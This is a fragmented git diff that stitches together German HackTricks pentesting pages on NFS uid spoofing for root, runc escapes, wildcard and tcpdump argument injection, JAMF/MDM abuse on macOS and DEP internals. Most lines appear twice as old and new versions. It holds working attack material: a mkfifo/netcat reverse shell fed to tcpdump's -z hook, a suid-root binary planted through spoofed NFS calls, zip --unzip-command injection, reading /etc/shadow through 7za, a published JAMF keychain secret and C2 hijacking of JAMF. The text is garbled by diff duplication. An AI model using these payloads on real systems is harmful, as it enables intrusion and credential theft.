Das Szenario beinhaltet das Ausnutzen eines gemounteten NFS-Teils auf einem lokalen Rechner, wobei eine Schwachstelle in der NFSv3-Spezifikation ausgenutzt wird, die es dem Client ermöglicht, seine uid/gid anzugeben, was potenziell unbefugten Zugriff ermöglicht. Der Exploit beinhaltet die Verwendung von [libnfs](https://github.com/sahlberg/libnfs), einer Bibliothek, die das Fälschen von NFS-RPC-Aufrufen ermöglicht.
Das Szenario beinhaltet das Ausnutzen eines gemounteten NFS-Teils auf einem lokalen Rechner, wobei eine Schwachstelle in der NFSv3-Spezifikation ausgenutzt wird, die es dem Client ermöglicht, seine uid/gid anzugeben, was potenziell unbefugten Zugriff ermöglicht. Der Exploit verwendet [libnfs](https://github.com/sahlberg/libnfs), eine Bibliothek, die das Fälschen von NFS RPC-Aufrufen ermöglicht.
### Kompilieren der Bibliothek
#### Kompilieren der Bibliothek
Die Schritte zur Kompilierung der Bibliothek könnten Anpassungen basierend auf der Kernelversion erfordern. In diesem speziellen Fall wurden die fallocate-Systemaufrufe auskommentiert. Der Kompilierungsprozess umfasst die folgenden Befehle:
Die Schritte zur Kompilierung der Bibliothek könnten Anpassungen basierend auf der Kernel-Version erfordern. In diesem speziellen Fall wurden die fallocate-Systemaufrufe auskommentiert. Der Kompilierungsprozess umfasst die folgenden Befehle:
```bash
./bootstrap
./configure
make
gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib/.libs/
```
### Durchführung des Exploits
#### Durchführung des Exploits
Der Exploit besteht darin, ein einfaches C-Programm (`pwn.c`) zu erstellen, das die Berechtigungen auf root erhöht und dann eine Shell ausführt. Das Programm wird kompiliert, und die resultierende Binärdatei (`a.out`) wird im Share mit suid root platziert, wobei `ld_nfs.so` verwendet wird, um die uid in den RPC-Aufrufen zu fälschen:
@ -95,9 +97,9 @@ LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs:/
/mnt/share/a.out
#root
```
## Bonus: NFShell für stealthy Datei Zugriff
### Bonus: NFShell für stealthy Datei Zugriff
Sobald Root-Zugriff erlangt wurde, wird ein Python-Skript (nfsh.py) verwendet, um mit dem NFS-Share zu interagieren, ohne den Besitz zu ändern (um Spuren zu vermeiden). Dieses Skript passt die uid an, um mit der des zuzugreifenden Datei übereinzustimmen, was die Interaktion mit Dateien auf dem Share ohne Berechtigungsprobleme ermöglicht:
Sobald Root-Zugriff erlangt wurde, wird ein Python-Skript (nfsh.py) verwendet, um mit dem NFS-Share zu interagieren, ohne den Besitz zu ändern (um Spuren zu vermeiden). Dieses Skript passt die uid an, um mit der des zuzugreifenden Files übereinzustimmen, was die Interaktion mit Dateien auf dem Share ohne Berechtigungsprobleme ermöglicht:
```python
#!/usr/bin/env python
# script from https://www.errno.fr/nfs_privesc.html

View File

@ -12,7 +12,7 @@ Wenn Sie mehr über **runc** erfahren möchten, besuchen Sie die folgende Seite:
## PE
Wenn Sie feststellen, dass `runc` auf dem Host installiert ist, können Sie möglicherweise **einen Container ausführen, der das Root-/Verzeichnis des Hosts einbindet**.
Wenn Sie feststellen, dass `runc` auf dem Host installiert ist, können Sie möglicherweise **einen Container ausführen, der das Root-Verzeichnis / des Hosts einbindet**.
```bash
runc -help #Get help and see if runc is intalled
runc spec #This will create the config.json file in your current folder

View File

@ -76,7 +76,7 @@ Wenn root etwas wie Folgendes ausführt:
```bash
7za a /backup/`date +%F`.7z -t7z -snl -- *
```
7-Zip wird versuchen, `root.txt` (→ `/etc/shadow`) als Dateiliste zu lesen und wird abbrechen, **indem es den Inhalt auf stderr ausgibt**.
7-Zip wird versuchen, `root.txt` (→ `/etc/shadow`) als Dateiliste zu lesen und wird abbrechen, **während es den Inhalt auf stderr ausgibt**.
---
@ -86,11 +86,11 @@ Wenn root etwas wie Folgendes ausführt:
```bash
zip result.zip files -T --unzip-command "sh -c id"
```
Injectiere das Flag über einen gestalteten Dateinamen und warte darauf, dass das privilegierte Backup-Skript `zip -T` (Archiv testen) auf der resultierenden Datei aufruft.
Injiziere das Flag über einen gestalteten Dateinamen und warte darauf, dass das privilegierte Backup-Skript `zip -T` (Archiv testen) auf der resultierenden Datei aufruft.
---
## Zusätzliche Binärdateien, die anfällig für Wildcard-Injection sind (schnelle Liste 2023-2025)
## Zusätzliche Binärdateien, die anfällig für Wildcard-Injection sind (2023-2025 Schnellübersicht)
Die folgenden Befehle wurden in modernen CTFs und realen Umgebungen missbraucht. Die Payload wird immer als *Dateiname* in einem beschreibbaren Verzeichnis erstellt, das später mit einem Wildcard verarbeitet wird:
@ -105,19 +105,65 @@ Diese Primitiven sind weniger verbreitet als die *tar/rsync/zip* Klassiker, aber
---
## Erkennung & Härtung
## tcpdump-Rotationshaken (-G/-W/-z): RCE über argv-Injection in Wrappers
1. **Deaktiviere Shell-Gloßing** in kritischen Skripten: `set -f` (`set -o noglob`) verhindert die Wildcard-Erweiterung.
2. **Zitiere oder entkomme** Argumenten: `tar -czf "$dst" -- *` ist *nicht* sicher — bevorzuge `find . -type f -print0 | xargs -0 tar -czf "$dst"`.
3. **Explizite Pfade**: Verwende `/var/www/html/*.log` anstelle von `*`, damit Angreifer keine Geschwisterdateien erstellen können, die mit `-` beginnen.
4. **Minimalprivilegien**: Führe Backup-/Wartungsjobs nach Möglichkeit als unprivilegiertes Dienstkonto anstelle von root aus.
Wenn eine eingeschränkte Shell oder ein Anbieter-Wrap einen `tcpdump`-Befehl erstellt, indem sie benutzerkontrollierte Felder (z. B. ein "Dateiname"-Parameter) ohne strikte Anführungszeichen/Validierung verknüpft, kannst du zusätzliche `tcpdump`-Flags schmuggeln. Die Kombination aus `-G` (zeitbasierte Rotation), `-W` (Anzahl der Dateien begrenzen) und `-z <cmd>` (Post-Rotate-Befehl) führt zu beliebiger Befehlsausführung als der Benutzer, der tcpdump ausführt (oft root auf Geräten).
Voraussetzungen:
- Du kannst `argv` beeinflussen, das an `tcpdump` übergeben wird (z. B. über einen Wrapper wie `/debug/tcpdump --filter=... --file-name=<HERE>`).
- Der Wrapper bereinigt keine Leerzeichen oder mit `-` beginnende Tokens im Dateinamenfeld.
Klassisches PoC (führt ein Reverse-Shell-Skript von einem beschreibbaren Pfad aus):
```sh
# Reverse shell payload saved on the device (e.g., USB, tmpfs)
cat > /mnt/disk1_1/rce.sh <<'EOF'
#!/bin/sh
rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f|/bin/sh -i 2>&1|nc 192.0.2.10 4444 >/tmp/f
EOF
chmod +x /mnt/disk1_1/rce.sh
# Inject additional tcpdump flags via the unsafe "file name" field
/debug/tcpdump --filter="udp port 1234" \
--file-name="test -i any -W 1 -G 1 -z /mnt/disk1_1/rce.sh"
# On the attacker host
nc -6 -lvnp 4444 &
# Then send any packet that matches the BPF to force a rotation
printf x | nc -u -6 [victim_ipv6] 1234
```
Details:
- `-G 1 -W 1` zwingt eine sofortige Rotation nach dem ersten übereinstimmenden Paket.
- `-z <cmd>` führt den Post-Rotate-Befehl einmal pro Rotation aus. Viele Builds führen `<cmd> <savefile>` aus. Wenn `<cmd>` ein Skript/Interpreter ist, stellen Sie sicher, dass die Argumentbehandlung mit Ihrem Payload übereinstimmt.
No-removable-media Varianten:
- Wenn Sie eine andere Primitive zum Schreiben von Dateien haben (z. B. einen separaten Befehlswrapper, der die Umleitung von Ausgaben ermöglicht), legen Sie Ihr Skript in einen bekannten Pfad und triggern Sie `-z /bin/sh /path/script.sh` oder `-z /path/script.sh`, je nach Plattformsemantik.
- Einige Vendor-Wrappers rotieren zu vom Angreifer kontrollierbaren Standorten. Wenn Sie den rotierten Pfad beeinflussen können (symlink/verzeichnis traversal), können Sie `-z` steuern, um Inhalte auszuführen, die Sie vollständig kontrollieren, ohne externe Medien.
Hardening-Tipps für Anbieter:
- Geben Sie niemals benutzerkontrollierte Zeichenfolgen direkt an `tcpdump` (oder ein beliebiges Tool) ohne strenge Allowlists weiter. Zitieren und validieren.
- Setzen Sie die `-z`-Funktionalität in Wrappers nicht aus; führen Sie tcpdump mit einer festen sicheren Vorlage aus und verbieten Sie zusätzliche Flags vollständig.
- Reduzieren Sie die tcpdump-Berechtigungen (cap_net_admin/cap_net_raw nur) oder führen Sie es unter einem dedizierten unprivilegierten Benutzer mit AppArmor/SELinux-Einschränkung aus.
## Detection & Hardening
1. **Deaktivieren Sie die Shell-Gloßierung** in kritischen Skripten: `set -f` (`set -o noglob`) verhindert die Wildcard-Erweiterung.
2. **Zitieren oder Escapen** Sie Argumente: `tar -czf "$dst" -- *` ist *nicht* sicher — bevorzugen Sie `find . -type f -print0 | xargs -0 tar -czf "$dst"`.
3. **Explizite Pfade**: Verwenden Sie `/var/www/html/*.log` anstelle von `*`, damit Angreifer keine Geschwisterdateien erstellen können, die mit `-` beginnen.
4. **Minimalprivileg**: Führen Sie Backup-/Wartungsjobs nach Möglichkeit als unprivilegiertes Dienstkonto anstelle von root aus.
5. **Überwachung**: Die vorgefertigte Regel von Elastic *Potential Shell via Wildcard Injection* sucht nach `tar --checkpoint=*`, `rsync -e*` oder `zip --unzip-command`, die sofort von einem Shell-Kindprozess gefolgt werden. Die EQL-Abfrage kann für andere EDRs angepasst werden.
---
## Referenzen
## References
* Elastic Security Regel *Potential Shell via Wildcard Injection Detected* (letzte Aktualisierung 2025)
* Elastic Security Regel *Potential Shell via Wildcard Injection Detected* (zuletzt aktualisiert 2025)
* Rutger Flohil “macOS — Tar wildcard injection” (18. Dez 2024)
* GTFOBins [tcpdump](https://gtfobins.github.io/gtfobins/tcpdump/)
* FiberGateway GR241AG [Full Exploit Chain](https://r0ny.net/FiberGateway-GR241AG-Full-Exploit-Chain/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,7 +2,6 @@
{{#include ../../banners/hacktricks-training.md}}
## Missbrauch von MDMs
- JAMF Pro: `jamf checkJSSConnection`
@ -30,7 +29,7 @@ Um das Gerät in ein MDM zu registrieren, müssen Sie eine **`mobileconfig`**-Da
### Missbrauch von JAMF PRO
JAMF kann **benutzerdefinierte Skripte** (Skripte, die vom Sysadmin entwickelt wurden), **native Payloads** (Erstellung lokaler Konten, EFI-Passwort festlegen, Datei-/Prozessüberwachung...) und **MDM** (Gerätekonfigurationen, Gerätezertifikate...) ausführen.
JAMF kann **benutzerdefinierte Skripte** (Skripte, die vom Sysadmin entwickelt wurden), **native Payloads** (Erstellung lokaler Konten, Festlegen des EFI-Passworts, Datei-/Prozessüberwachung...) und **MDM** (Gerätekonfigurationen, Gerätezertifikate...) ausführen.
#### JAMF Selbstregistrierung
@ -46,7 +45,7 @@ Darüber hinaus könnten Sie nach dem Finden geeigneter Anmeldeinformationen in
<figure><img src="../../images/image (167).png" alt=""><figcaption></figcaption></figure>
Die **`jamf`**-Binärdatei enthielt das Geheimnis, um den Schlüsselbund zu öffnen, das zum Zeitpunkt der Entdeckung **unter allen geteilt** wurde und war: **`jk23ucnq91jfu9aj`**.\
Die **`jamf`**-Binary enthielt das Geheimnis, um den Schlüsselbund zu öffnen, das zum Zeitpunkt der Entdeckung unter allen **geteilt** wurde und war: **`jk23ucnq91jfu9aj`**.\
Darüber hinaus **persistiert** jamf als **LaunchDaemon** in **`/Library/LaunchAgents/com.jamf.management.agent.plist`**.
#### JAMF Geräteübernahme
@ -60,12 +59,12 @@ plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist
<key>is_virtual_machine</key>
<false/>
<key>jss_url</key>
<string>https://halbornasd.jamfcloud.com/</string>
<string>https://subdomain-company.jamfcloud.com/</string>
<key>last_management_framework_change_id</key>
<integer>4</integer>
[...]
```
Ein Angreifer könnte ein bösartiges Paket (`pkg`) ablegen, das **diese Datei überschreibt**, wenn es installiert wird, und die **URL auf einen Mythic C2-Listener von einem Typhon-Agenten** setzt, um JAMF als C2 auszunutzen.
Ein Angreifer könnte ein bösartiges Paket (`pkg`) ablegen, das **diese Datei überschreibt**, wenn es installiert wird, und die **URL auf einen Mythic C2-Listener von einem Typhon-Agenten** setzt, um JAMF als C2 missbrauchen zu können.
```bash
# After changing the URL you could wait for it to be reloaded or execute:
sudo jamf policy -id 0
@ -85,16 +84,17 @@ Mit diesen Informationen **erstellen Sie eine VM** mit der **gestohlenen** Hardw
<figure><img src="../../images/image (1025).png" alt=""><figcaption><p>a</p></figcaption></figure>
Sie könnten auch den Speicherort `/Library/Application Support/Jamf/tmp/` überwachen, um die **benutzerdefinierten Skripte** zu finden, die Administratoren möglicherweise über Jamf ausführen möchten, da sie **hier platziert, ausgeführt und entfernt** werden. Diese Skripte **könnten Anmeldeinformationen enthalten**.
Sie könnten auch den Speicherort `/Library/Application Support/Jamf/tmp/` überwachen, um die **benutzerdefinierten Skripte** zu erfassen, die Administratoren möglicherweise über Jamf ausführen möchten, da sie **hier platziert, ausgeführt und entfernt** werden. Diese Skripte **könnten Anmeldeinformationen** enthalten.
Allerdings könnten **Anmeldeinformationen** diesen Skripten als **Parameter** übergeben werden, daher müssten Sie `ps aux | grep -i jamf` überwachen (ohne sogar root zu sein).
Allerdings könnten **Anmeldeinformationen** diesen Skripten als **Parameter** übergeben werden, sodass Sie `ps aux | grep -i jamf` überwachen müssten (ohne sogar root zu sein).
Das Skript [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) kann auf neue hinzugefügte Dateien und neue Prozessargumente hören.
### macOS Remote-Zugriff
### macOS Remote Access
Und auch über **MacOS** "besondere" **Netzwerk** **Protokolle**:
{{#ref}}
../macos-security-and-privilege-escalation/macos-protocols.md
{{#endref}}
@ -103,14 +103,17 @@ Und auch über **MacOS** "besondere" **Netzwerk** **Protokolle**:
In einigen Fällen werden Sie feststellen, dass der **MacOS-Computer mit einem AD verbunden ist**. In diesem Szenario sollten Sie versuchen, das Active Directory zu **enumerieren**, wie Sie es gewohnt sind. Finden Sie etwas **Hilfe** auf den folgenden Seiten:
{{#ref}}
../../network-services-pentesting/pentesting-ldap.md
{{#endref}}
{{#ref}}
../../windows-hardening/active-directory-methodology/
{{#endref}}
{{#ref}}
../../network-services-pentesting/pentesting-kerberos-88/
{{#endref}}
@ -119,7 +122,7 @@ Ein **lokales MacOS-Tool**, das Ihnen ebenfalls helfen kann, ist `dscl`:
```bash
dscl "/Active Directory/[Domain]/All Domains" ls /
```
Außerdem gibt es einige Tools, die für MacOS vorbereitet sind, um automatisch das AD zu enumerieren und mit Kerberos zu spielen:
Auch gibt es einige Tools, die für MacOS vorbereitet sind, um automatisch das AD zu enumerieren und mit Kerberos zu arbeiten:
- [**Machound**](https://github.com/XMCyber/MacHound): MacHound ist eine Erweiterung des Bloodhound-Audit-Tools, das das Sammeln und Verarbeiten von Active Directory-Beziehungen auf MacOS-Hosts ermöglicht.
- [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost ist ein Objective-C-Projekt, das entwickelt wurde, um mit den Heimdal krb5 APIs auf macOS zu interagieren. Das Ziel des Projekts ist es, bessere Sicherheitstests rund um Kerberos auf macOS-Geräten unter Verwendung nativer APIs zu ermöglichen, ohne dass andere Frameworks oder Pakete auf dem Ziel erforderlich sind.
@ -135,7 +138,7 @@ Die drei Arten von MacOS-Benutzern sind:
- **Lokale Benutzer** — Verwaltet durch den lokalen OpenDirectory-Dienst, sie sind in keiner Weise mit dem Active Directory verbunden.
- **Netzwerkbenutzer** — Flüchtige Active Directory-Benutzer, die eine Verbindung zum DC-Server benötigen, um sich zu authentifizieren.
- **Mobile Benutzer** — Active Directory-Benutzer mit einem lokalen Backup für ihre Anmeldeinformationen und Dateien.
- **Mobile Benutzer** — Active Directory-Benutzer mit einer lokalen Sicherung für ihre Anmeldeinformationen und Dateien.
Die lokalen Informationen über Benutzer und Gruppen werden im Ordner _/var/db/dslocal/nodes/Default._ gespeichert.\
Zum Beispiel werden die Informationen über den Benutzer _mark_ in _/var/db/dslocal/nodes/Default/users/mark.plist_ und die Informationen über die Gruppe _admin_ in _/var/db/dslocal/nodes/Default/groups/admin.plist_ gespeichert.
@ -183,7 +186,7 @@ Holen Sie sich ein TGT für einen bestimmten Benutzer und Dienst:
bifrost --action asktgt --username [user] --domain [domain.com] \
--hash [hash] --enctype [enctype] --keytab [/path/to/keytab]
```
Sobald das TGT gesammelt ist, kann es mit folgender Methode in die aktuelle Sitzung injiziert werden:
Sobald das TGT gesammelt ist, ist es möglich, es in die aktuelle Sitzung mit:
```bash
bifrost --action asktgt --username test_lab_admin \
--hash CF59D3256B62EE655F6430B0F80701EE05A0885B8B52E9C2480154AFA62E78 \
@ -201,7 +204,7 @@ mount -t smbfs //server/folder /local/mount/point
```
## Zugriff auf den Schlüsselbund
Der Schlüsselbund enthält höchstwahrscheinlich sensible Informationen, die, wenn sie ohne Aufforderung zuzugreifen, helfen könnten, eine Red Team Übung voranzutreiben:
Der Schlüsselbund enthält höchstwahrscheinlich sensible Informationen, die, wenn sie ohne Aufforderung zuzugreifen, helfen könnten, eine Red Team-Übung voranzutreiben:
{{#ref}}
macos-keychain.md
@ -211,7 +214,7 @@ macos-keychain.md
MacOS Red Teaming unterscheidet sich von einem regulären Windows Red Teaming, da **MacOS normalerweise direkt mit mehreren externen Plattformen integriert ist**. Eine gängige Konfiguration von MacOS besteht darin, auf den Computer mit **OneLogin synchronisierten Anmeldeinformationen zuzugreifen und mehrere externe Dienste** (wie github, aws...) über OneLogin zu nutzen.
## Verschiedene Red Team Techniken
## Verschiedene Red Team-Techniken
### Safari
@ -227,5 +230,4 @@ Wenn eine Datei in Safari heruntergeladen wird und es sich um eine "sichere" Dat
- [**Come to the Dark Side, We Have Apples: Turning macOS Management Evil**](https://www.youtube.com/watch?v=pOQOh07eMxY)
- [**OBTS v3.0: "An Attackers Perspective on Jamf Configurations" - Luke Roberts / Calum Hall**](https://www.youtube.com/watch?v=ju1IYWUv4ZA)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -15,11 +15,11 @@
- Zentralisierte Kontrolle über Geräte.
- Abhängigkeit von einem MDM-Server, der dem MDM-Protokoll entspricht.
- Fähigkeit des MDM-Servers, verschiedene Befehle an Geräte zu senden, z. B. remote Datenlöschung oder Konfigurationsinstallation.
- Fähigkeit des MDM-Servers, verschiedene Befehle an Geräte zu senden, z. B. zur Fernlöschung von Daten oder zur Installation von Konfigurationen.
### **Grundlagen des DEP (Device Enrollment Program)**
Das [Device Enrollment Program](https://www.apple.com/business/site/docs/DEP_Guide.pdf) (DEP), das von Apple angeboten wird, vereinfacht die Integration von Mobile Device Management (MDM), indem es eine Zero-Touch-Konfiguration für iOS-, macOS- und tvOS-Geräte ermöglicht. DEP automatisiert den Registrierungsprozess, sodass Geräte direkt nach dem Auspacken betriebsbereit sind, mit minimalem Benutzer- oder Administrationsaufwand. Wesentliche Aspekte sind:
Das [Device Enrollment Program](https://www.apple.com/business/site/docs/DEP_Guide.pdf) (DEP), das von Apple angeboten wird, vereinfacht die Integration von Mobile Device Management (MDM), indem es eine Zero-Touch-Konfiguration für iOS-, macOS- und tvOS-Geräte ermöglicht. DEP automatisiert den Registrierungsprozess, sodass Geräte sofort einsatzbereit sind, ohne dass Benutzer oder Administratoren eingreifen müssen. Wesentliche Aspekte sind:
- Ermöglicht es Geräten, sich autonom bei einem vordefinierten MDM-Server bei der ersten Aktivierung zu registrieren.
- Primär vorteilhaft für brandneue Geräte, aber auch anwendbar für Geräte, die neu konfiguriert werden.
@ -48,8 +48,8 @@ Es ist wichtig zu beachten, dass die durch DEP gebotene einfache Registrierung,
### MDM
- Kombination aus APNs (**Apple-Servern**) + RESTful API (**MDM** **Anbieter**-Servern)
- **Kommunikation** erfolgt zwischen einem **Gerät** und einem Server, der mit einem **Geräteverwaltungsprodukt** verbunden ist
- Kombination aus APNs (**Apple-Server**n) + RESTful API (**MDM** **Anbieter**-Server)
- **Kommunikation** erfolgt zwischen einem **Gerät** und einem Server, der mit einem **Geräteverwaltungs**-**produkt** verbunden ist
- **Befehle** werden vom MDM an das Gerät in **plist-kodierten Dictionaries** übermittelt
- Überall über **HTTPS**. MDM-Server können (und sind normalerweise) gepinnt.
- Apple gewährt dem MDM-Anbieter ein **APNs-Zertifikat** zur Authentifizierung
@ -69,7 +69,7 @@ Es ist wichtig zu beachten, dass die durch DEP gebotene einfache Registrierung,
- synchronisiert Geräteaufzeichnungen von Apple zum MDM-Server
- synchronisiert „DEP-Profile“ von MDM-Server zu Apple (später an das Gerät geliefert)
- Ein DEP „Profil“ enthält:
- MDM-Anbieter-Server-URL
- URL des MDM-Anbieter-Servers für das Aktivierungsprofil
- Zusätzliche vertrauenswürdige Zertifikate für die Server-URL (optionales Pinning)
- Zusätzliche Einstellungen (z. B. welche Bildschirme im Setup-Assistenten übersprungen werden sollen)
@ -107,7 +107,7 @@ oder beim Ausführen von `sudo profiles show -type enrollment`
- Aktivierungsdatensatz ist der interne Name für **DEP „Profil“**
- Beginnt, sobald das Gerät mit dem Internet verbunden ist
- Angetrieben von **`CPFetchActivationRecord`**
- Implementiert durch **`cloudconfigurationd`** über XPC. Der **"Setup-Assistent"** (wenn das Gerät zum ersten Mal gebootet wird) oder der **`profiles`**-Befehl wird **diesen Daemon kontaktieren**, um den Aktivierungsdatensatz abzurufen.
- Implementiert durch **`cloudconfigurationd`** über XPC. Der **"Setup-Assistent"** (wenn das Gerät zum ersten Mal gebootet wird) oder der **`profiles`**-Befehl wird **dieses Daemon** kontaktieren, um den Aktivierungsdatensatz abzurufen.
- LaunchDaemon (läuft immer als root)
Es folgen einige Schritte, um den Aktivierungsdatensatz durch **`MCTeslaConfigurationFetcher`** abzurufen. Dieser Prozess verwendet eine Verschlüsselung namens **Absinthe**
@ -120,7 +120,7 @@ Es folgen einige Schritte, um den Aktivierungsdatensatz durch **`MCTeslaConfigur
1. POST [https://iprofiles.apple.com/session](https://iprofiles.apple.com/session)
4. Sitzung einrichten (**`NACKeyEstablishment`**)
5. Anfrage stellen
1. POST an [https://iprofiles.apple.com/macProfile](https://iprofiles.apple.com/macProfile) und die Daten `{ "action": "RequestProfileConfiguration", "sn": "" }` senden
1. POST an [https://iprofiles.apple.com/macProfile](https://iprofiles.apple.com/macProfile) mit den Daten `{ "action": "RequestProfileConfiguration", "sn": "" }`
2. Die JSON-Payload wird mit Absinthe (**`NACSign`**) verschlüsselt
3. Alle Anfragen über HTTPs, integrierte Root-Zertifikate werden verwendet
@ -128,7 +128,7 @@ Es folgen einige Schritte, um den Aktivierungsdatensatz durch **`MCTeslaConfigur
Die Antwort ist ein JSON-Dictionary mit einigen wichtigen Daten wie:
- **url**: URL des MDM-Anbieterhosts für das Aktivierungsprofil
- **url**: URL des MDM-Anbieter-Hosts für das Aktivierungsprofil
- **anchor-certs**: Array von DER-Zertifikaten, die als vertrauenswürdige Anker verwendet werden
### **Schritt 5: Abruf des Profils**
@ -138,7 +138,7 @@ Die Antwort ist ein JSON-Dictionary mit einigen wichtigen Daten wie:
- Anfrage wird an **url gesendet, die im DEP-Profil angegeben ist**.
- **Ankerzertifikate** werden verwendet, um **Vertrauen zu bewerten**, falls bereitgestellt.
- Erinnerung: die **anchor_certs**-Eigenschaft des DEP-Profils
- **Anfrage ist eine einfache .plist** mit Geräteidentifikation
- **Anfrage ist ein einfaches .plist** mit Geräteidentifikation
- Beispiele: **UDID, OS-Version**.
- CMS-signiert, DER-kodiert
- Signiert mit dem **Geräteidentitätszertifikat (von APNS)**
@ -151,7 +151,7 @@ Die Antwort ist ein JSON-Dictionary mit einigen wichtigen Daten wie:
- Nach dem Abruf wird das **Profil im System gespeichert**
- Dieser Schritt beginnt automatisch (wenn im **Setup-Assistenten**)
- Angetrieben von **`CPInstallActivationProfile`**
- Implementiert von mdmclient über XPC
- Implementiert durch mdmclient über XPC
- LaunchDaemon (als root) oder LaunchAgent (als Benutzer), je nach Kontext
- Konfigurationsprofile haben mehrere Payloads zur Installation
- Das Framework hat eine pluginbasierte Architektur zur Installation von Profilen
@ -164,9 +164,9 @@ Typischerweise wird das **Aktivierungsprofil**, das von einem MDM-Anbieter berei
- `com.apple.mdm`: um das Gerät in MDM zu **registrieren**
- `com.apple.security.scep`: um ein **Client-Zertifikat** sicher an das Gerät bereitzustellen.
- `com.apple.security.pem`: um **vertrauenswürdige CA-Zertifikate** im System-Schlüsselbund des Geräts zu installieren.
- Installation der MDM-Payload entspricht dem **MDM-Check-in in der Dokumentation**
- Payload **enthält wichtige Eigenschaften**:
- `com.apple.security.pem`: um vertrauenswürdige CA-Zertifikate im System-Schlüsselbund des Geräts zu **installieren**.
- Die Installation der MDM-Payload entspricht dem **MDM-Check-in in der Dokumentation**
- Die Payload **enthält wichtige Eigenschaften**:
- - MDM-Check-In-URL (**`CheckInURL`**)
- MDM-Befehlsabfrage-URL (**`ServerURL`**) + APNs-Thema, um es auszulösen
- Um die MDM-Payload zu installieren, wird eine Anfrage an **`CheckInURL`** gesendet

View File

@ -8,30 +8,35 @@ Wenn Sie mit macOS nicht vertraut sind, sollten Sie die Grundlagen von macOS ler
- Besondere macOS **Dateien & Berechtigungen:**
{{#ref}}
macos-files-folders-and-binaries/
{{#endref}}
- Häufige macOS **Benutzer**
{{#ref}}
macos-users.md
{{#endref}}
- **AppleFS**
{{#ref}}
macos-applefs.md
{{#endref}}
- Die **Architektur** des k**ernels**
{{#ref}}
mac-os-architecture/
{{#endref}}
- Häufige macOS n**etzwerkdienste & Protokolle**
{{#ref}}
macos-protocols.md
{{#endref}}
@ -43,18 +48,21 @@ macos-protocols.md
In Unternehmen werden **macOS** Systeme höchstwahrscheinlich **mit einem MDM verwaltet**. Daher ist es aus der Perspektive eines Angreifers interessant zu wissen, **wie das funktioniert**:
{{#ref}}
../macos-red-teaming/macos-mdm/
{{#endref}}
### MacOS - Inspektion, Debugging und Fuzzing
{{#ref}}
macos-apps-inspecting-debugging-and-fuzzing/
{{#endref}}
## MacOS Sicherheitsmaßnahmen
{{#ref}}
macos-security-protections/
{{#endref}}
@ -75,13 +83,15 @@ In der Lage zu sein, eine **Datei zu erstellen**, die von **root verwendet wird*
Für diese Art von Schwachstellen vergessen Sie nicht, **anfällige `.pkg` Installer** zu überprüfen:
{{#ref}}
macos-files-folders-and-binaries/macos-installers-abuse.md
{{#endref}}
### Dateierweiterung & URL-Schema-App-Handler
Seltsame Apps, die durch Dateierweiterungen registriert sind, könnten missbraucht werden, und verschiedene Anwendungen können registriert werden, um spezifische Protokolle zu öffnen.
Seltsame Apps, die durch Dateierweiterungen registriert sind, könnten missbraucht werden, und verschiedene Anwendungen können registriert werden, um spezifische Protokolle zu öffnen
{{#ref}}
macos-file-extension-apps.md
@ -95,12 +105,13 @@ Daher muss ein Angreifer, der eine macOS-Maschine erfolgreich kompromittieren m
Diese Berechtigungen werden normalerweise in Form von **Entitlements** vergeben, mit denen die Anwendung signiert ist, oder die Anwendung könnte einige Zugriffe angefordert haben, und nachdem der **Benutzer diese genehmigt hat**, können sie in den **TCC-Datenbanken** gefunden werden. Eine andere Möglichkeit, wie ein Prozess diese Berechtigungen erhalten kann, besteht darin, ein **Kind eines Prozesses** mit diesen **Berechtigungen** zu sein, da sie normalerweise **vererbt** werden.
Folgen Sie diesen Links, um verschiedene Möglichkeiten zu finden, um [**Berechtigungen in TCC zu eskalieren**](macos-security-protections/macos-tcc/index.html#tcc-privesc-and-bypasses), um [**TCC zu umgehen**](macos-security-protections/macos-tcc/macos-tcc-bypasses/index.html) und wie in der Vergangenheit [**SIP umgangen wurde**](macos-security-protections/macos-sip.md#sip-bypasses).
Folgen Sie diesen Links, um verschiedene Möglichkeiten zu finden, [**Privilegien in TCC zu eskalieren**](macos-security-protections/macos-tcc/index.html#tcc-privesc-and-bypasses), um [**TCC zu umgehen**](macos-security-protections/macos-tcc/macos-tcc-bypasses/index.html) und wie in der Vergangenheit [**SIP umgangen wurde**](macos-security-protections/macos-sip.md#sip-bypasses).
## macOS Traditionelle Privilegieneskalation
Natürlich sollten Sie aus der Perspektive eines Red Teams auch daran interessiert sein, zu root zu eskalieren. Überprüfen Sie den folgenden Beitrag für einige Hinweise:
{{#ref}}
macos-privilege-escalation.md
{{#endref}}

View File

@ -4,9 +4,9 @@
## XNU Kernel
Der **Kern von macOS ist XNU**, was für "X is Not Unix" steht. Dieser Kernel besteht grundlegend aus dem **Mach-Mikrokernel** (der später besprochen wird) **und** Elementen der Berkeley Software Distribution (**BSD**). XNU bietet auch eine Plattform für **Kernel-Treiber über ein System namens I/O Kit**. Der XNU-Kernel ist Teil des Darwin-Open-Source-Projekts, was bedeutet, dass **der Quellcode frei zugänglich ist**.
Der **Kern von macOS ist XNU**, was für "X is Not Unix" steht. Dieser Kernel besteht grundlegend aus dem **Mach-Mikrokernel** (der später besprochen wird) und Elementen der Berkeley Software Distribution (**BSD**). XNU bietet auch eine Plattform für **Kernel-Treiber über ein System namens I/O Kit**. Der XNU-Kernel ist Teil des Darwin-Open-Source-Projekts, was bedeutet, dass **der Quellcode frei zugänglich ist**.
Aus der Perspektive eines Sicherheitsforschers oder Unix-Entwicklers kann **macOS** ziemlich **ähnlich** einem **FreeBSD**-System mit einer eleganten GUI und einer Vielzahl von benutzerdefinierten Anwendungen erscheinen. Die meisten Anwendungen, die für BSD entwickelt wurden, werden auf macOS ohne Änderungen kompiliert und ausgeführt, da die Befehlszeilenwerkzeuge, die Unix-Benutzern vertraut sind, alle in macOS vorhanden sind. Da der XNU-Kernel jedoch Mach integriert, gibt es einige wesentliche Unterschiede zwischen einem traditionellen Unix-ähnlichen System und macOS, und diese Unterschiede könnten potenzielle Probleme verursachen oder einzigartige Vorteile bieten.
